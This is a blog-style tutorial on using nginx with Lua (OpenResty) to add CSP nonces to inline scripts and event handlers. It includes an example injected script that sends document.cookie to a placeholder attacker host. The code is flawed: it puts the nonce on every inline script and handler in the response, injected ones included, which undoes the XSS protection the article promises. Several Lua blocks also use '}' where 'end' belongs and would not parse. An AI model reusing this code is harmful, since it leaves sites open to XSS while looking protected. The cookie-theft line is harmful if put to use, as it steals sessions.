Introduction
If you’ve ever opened your browser console on your “totally secure” website and witnessed a barrage of Content-Security-Policy warnings, welcome to the club. And if your CSP contains the infamous unsafe-inline
directive – we might just share a drink at the next security conference. Just make sure to hide that drink from the actual security experts.
Let’s be honest though: not every website needs to obsess over eliminating unsafe-inline
. If you’re running a simple blog or a five-page brochure site with zero user data and no admin panels, you probably have bigger fish to fry. The security purists might disagree (they always do), but pragmatism has its place in web development.
However, if any of these apply to your situation, you should absolutely care:
- You’re handling sensitive user data (financial, medical, personal)
- Your site includes authentication systems
- You’re running an e-commerce platform
- You’re subject to compliance requirements (PCI DSS, HIPAA, etc.)
- Your site is high-profile enough to be a target
The unsafe-inline
directive is essentially telling browsers: “Hey, execute whatever inline JavaScript you find on this page, no questions asked.” In a world where XSS remains one of the most common web vulnerabilities, that’s like leaving your front door open with a sign saying “Valuables inside, security system disabled.”
Many developers resort to unsafe-inline
because the alternatives seem complex or performance-heavy. There are several approaches to eliminating it:
- Server-side solutions with languages like PHP/Node.js to generate nonces
- Using Nginx’s sub_filter for string replacement
- CDN or WAF-based solutions
- The Lua-based approach we’ll explore in this article
In this article, we’ll dive deep into implementing a high-performance, precise solution using nginx with Lua that elegantly solves the unsafe-inline
problem once and for all. We’ll build a system that automatically adds nonces only to inline scripts, properly configures CSP headers, and does it all with minimal overhead.
Let’s get our hands dirty with some real engineering, shall we?
Understanding the Problem and Existing Solutions
The Security Risks of unsafe-inline
When you include unsafe-inline
in your Content-Security-Policy, you completely undermine CSP’s ability to mitigate XSS attacks. Consider this attack scenario:
<!-- User input gets reflected without proper sanitization -->
<div class="user-comment">
Thanks for the article!
<script>
fetch('https://evil-site.com/steal-cookies?c=' + document.cookie);
</script>
</div>
With unsafe-inline
, this malicious script runs without restrictions. With nonces instead, the browser blocks it instantly.
Common Approaches and Their Limitations
1. Server-Side Application Integration
Advantages:
- Precise control over which scripts get nonces
- Integration with application logic
Limitations:
- Requires modifying application code
- Doesn’t work for static assets without additional processing
- Tightly couples security implementation with application code
2. Nginx’s sub_filter Approach
Advantages:
- Web server level implementation
- No application code changes
Limitations:
- Modifies ALL script tags, including those with src attributes
- Can’t understand HTML structure
- Limited pattern matching
- Potential to break markup with complex HTML
3. CDN and WAF Solutions
Advantages:
- Easy to implement
- Managed solution
Limitations:
- Added latency
- Limited customization
- Expensive
- Potential caching issues
4. Why Lua with Nginx Stands Out
The Lua + Nginx approach combines the best of all worlds:
- Precision: Can parse HTML properly and only modify inline scripts
- Performance: Executes directly within nginx with minimal overhead
- Flexibility: Fully customizable to your specific requirements
- Independence: Doesn’t require application code changes
- Scalability: Works with static and dynamic content
Criteria for an Optimal CSP Solution
A good CSP implementation should:
- Add minimal latency to HTTP responses (< 1ms overhead)
- Process content in a streaming fashion without buffering entire responses
- Modify only inline scripts (not external scripts)
- Handle all valid HTML syntax variations
- Support various script contexts (standard tags, event handlers, javascript: URIs)
- Work with minified, compressed HTML and single-page applications
- Be easy to implement and maintain
Architecture of the Nginx + Lua Solution
Components Overview
- Nginx: Web server handling HTTP requests/responses
- Lua Module: For content manipulation
- HTML Processing Logic: To parse and modify HTML
- Nonce Generation: Creates secure random values
- CSP Header Management: Inserts appropriate headers
Request Flow

Key Integration Points
Our solution integrates with nginx at three points:
- Init Phase: Initialize Lua modules and libraries
- Header Filter Phase: Generate nonce and set CSP header
- Body Filter Phase: Process HTML and add nonces to inline scripts
Technical Requirements
- Nginx with Lua support (OpenResty recommended)
- LuaJIT for performance
- Core Lua libraries:
resty.string
andresty.random
Implementing the Base Solution
Step 1: Setting Up Your Environment
Install OpenResty following the official instructions.
Step 2: Create the Lua Script for Nonce Management
Create a file named csp_nonce.lua
:
local random = require "resty.random"
local str = require "resty.string"
local _M = {}
-- Generate a cryptographically secure random nonce
function _M.generate_nonce()
-- Generate 16 bytes of random data
local nonce_bytes = random.bytes(16)
if not nonce_bytes then
ngx.log(ngx.ERR, "Failed to generate random bytes for nonce")
return nil
end
-- Convert to base64
return ngx.encode_base64(nonce_bytes)
end
-- Regex pattern to identify inline scripts (doesn't have src attribute)
_M.inline_script_pattern = [[<script(?![^>]*src=)([^>]*)>]]
-- Function to add nonce to inline scripts
function _M.add_nonce_to_inline_scripts(body, nonce)
if not body or not nonce then
return body
end
-- Replace inline script tags with nonced versions
local result = ngx.re.gsub(body, _M.inline_script_pattern, "<script\\1 nonce=\"" .. nonce .. "\">", "joi")
return result
end
return _M
Step 3: Configure Nginx
Add to your nginx configuration:
# Load Lua modules
lua_package_path "/etc/nginx/lua/?.lua;;";
# Initialize shared dictionary for temporary storage
lua_shared_dict csp_nonces 10m;
server {
listen 80;
server_name your-domain.com;
location / {
root /var/www/html;
# Set up Lua for this location
header_filter_by_lua_block {
local csp = require "csp_nonce"
-- Generate a unique nonce for this request
local nonce = csp.generate_nonce()
if not nonce then
ngx.log(ngx.ERR, "Failed to generate nonce")
return
end
-- Store nonce in nginx context for body filter phase
ngx.ctx.csp_nonce = nonce
-- Set appropriate CSP header
local header_value = "default-src 'self'; script-src 'self' 'nonce-" .. nonce .. "'; style-src 'self' 'unsafe-inline'"
ngx.header["Content-Security-Policy"] = header_value
}
body_filter_by_lua_block {
local csp = require "csp_nonce"
local nonce = ngx.ctx.csp_nonce
if not nonce then
ngx.log(ngx.ERR, "No nonce found in context")
return
end
-- Process each chunk of the response body
local chunk = ngx.arg[1]
if chunk and chunk ~= "" then
-- Add nonce to inline scripts
ngx.arg[1] = csp.add_nonce_to_inline_scripts(chunk, nonce)
end
}
}
}
Step 4: Testing and Validation
Create a test HTML file with inline scripts and verify that:
- CSP header is present
- Only inline scripts have nonces
- External scripts remain unchanged
Common Issues and Solutions
Problem | Solution |
---|---|
All content types processed | Check for HTML content type |
Regex fails across chunks | Buffer content before processing |
Performance concerns | Add metrics to track overhead |
Advanced Implementation Techniques
Handling Event Handlers and JavaScript URIs
Extend the Lua module:
-- Additional patterns
_M.event_handler_pattern = [[(\s)(on\w+)(\s*=\s*["'])(.*?)(["'])]]
_M.javascript_uri_pattern = [[(href\s*=\s*["'])(javascript:)(.*?)(["'])]]
-- Enhanced function to handle all inline JavaScript
function _M.secure_all_inline_js(body, nonce)
-- First, handle standard inline scripts
local result = ngx.re.gsub(body, _M.inline_script_pattern,
"<script\\1 nonce=\"" .. nonce .. "\">", "joi")
-- Track replaced handlers for later insertion
local handlers = {}
local handler_id = 0
-- Find and replace event handlers with unique IDs
result = ngx.re.gsub(result, _M.event_handler_pattern, function(m)
handler_id = handler_id + 1
local id = "data-handler-" .. handler_id
table.insert(handlers, {
id = id,
event = m[2],
code = m[4]
})
return m[1] .. m[2] .. m[3] .. "HANDLER:" .. id .. m[5]
end, "joi")
-- Add nonced script for handlers if needed
if #handlers > 0 then
local script = "<script nonce=\"" .. nonce .. "\">\n"
script = script .. "document.addEventListener('DOMContentLoaded', function() {\n"
for _, handler in ipairs(handlers) do
script = script .. " document.querySelectorAll('[" .. handler.event
.. "=\"HANDLER:" .. handler.id .. "\"]').forEach(function(el) {\n"
script = script .. " el.addEventListener('" .. handler.event:sub(3)
.. "', function(event) {\n"
script = script .. " " .. handler.code .. "\n"
script = script .. " });\n"
script = script .. " el.removeAttribute('" .. handler.event .. "');\n"
script = script .. " });\n"
end
script = script .. "});\n</script>"
-- Append to the end of the body
result = ngx.re.sub(result, "</body>", script .. "</body>", "joi")
}
return result
end
Performance Optimizations
1. Only process HTML responses:
local content_type = ngx.header["Content-Type"]
if not content_type or not ngx.re.match(content_type, [=[text/html]=], "joi") then
return
end
2. Cache compiled regular expressions:
_M.regex_cache = {}
function _M.get_cached_regex(pattern)
if not _M.regex_cache[pattern] then
local compiled, err = ngx.re.compile(pattern, "joi")
if not compiled then
ngx.log(ngx.ERR, "Failed to compile regex: ", err)
return nil
}
_M.regex_cache[pattern] = compiled
}
return _M.regex_cache[pattern]
}
3. Use shared memory for nonce storage:
-- In header_filter phase
local nonce = csp.generate_nonce()
local nonce_key = ngx.var.request_id or ngx.time() .. "-" .. math.random(1000)
local nonces = ngx.shared.csp_nonces
nonces:set(nonce_key, nonce, 60) -- Expire after 60 seconds
ngx.ctx.nonce_key = nonce_key
-- In body_filter phase
local nonce_key = ngx.ctx.nonce_key
local nonce = ngx.shared.csp_nonces:get(nonce_key)
Handling Dynamic Content (SPA, AJAX)
Expose the nonce to JavaScript:
-- In header_filter phase
ngx.header["X-CSP-Nonce"] = nonce
-- In your initial nonced script
<script nonce="...">
// Store the nonce for later use
window.CSP_NONCE = document.querySelector('script[nonce]').nonce;
// Override createElement to add nonces automatically
const originalCreateElement = document.createElement;
document.createElement = function(tagName) {
const element = originalCreateElement.call(document, tagName);
if (tagName.toLowerCase() === 'script' && window.CSP_NONCE) {
element.setAttribute('nonce', window.CSP_NONCE);
}
return element;
};
</script>
Monitoring CSP Violations
-- In header_filter_by_lua_block
local report_uri = "/csp-report"
local header_value = "default-src 'self'; script-src 'self' 'nonce-" .. nonce
.. "'; report-uri " .. report_uri .. "; report-to csp-endpoint"
-- Set up reporting endpoint
location /csp-report {
access_log /var/log/nginx/csp_violations.log;
content_by_lua_block {
ngx.req.read_body()
local body = ngx.req.get_body_data()
if body then
ngx.log(ngx.NOTICE, "CSP Violation: ", body)
}
ngx.status = 204
return ngx.exit(ngx.HTTP_NO_CONTENT)
}
}
Testing and Validating
Automated Testing
#!/bin/bash
URL="https://your-domain.com/test-page.html"
response=$(curl -s -i $URL)
# Check for CSP header
if echo "$response" | grep -i "Content-Security-Policy:"; then
echo "✅ CSP header found"
else
echo "❌ No CSP header found"
fi
# Check if nonces are being added to inline scripts
if echo "$response" | grep -i "<script.*nonce="; then
echo "✅ Nonced scripts found"
else
echo "❌ No nonced scripts found"
fi
Browser and Tool-Based Validation
- Use browser DevTools to check headers and console
- Test with CSP Evaluator
- Verify with Mozilla Observatory
Real-World Testing Scenarios
- Complex SPAs
- Third-party integrations
- User-generated content
- High traffic scenarios
- Mobile browsers
Conclusion
Eliminating unsafe-inline
from your Content-Security-Policy using the nginx + Lua solution offers several advantages:
- Complete control over your security policy
- No need to modify application code
- Precise targeting of inline scripts only
- Minimal performance impact
- Works with any web platform
This approach will help you strengthen your site’s security posture without compromising on performance or developer productivity. Whether you’re running a WordPress site, a modern SPA, or a custom web application, this solution provides a robust foundation for implementing proper CSP.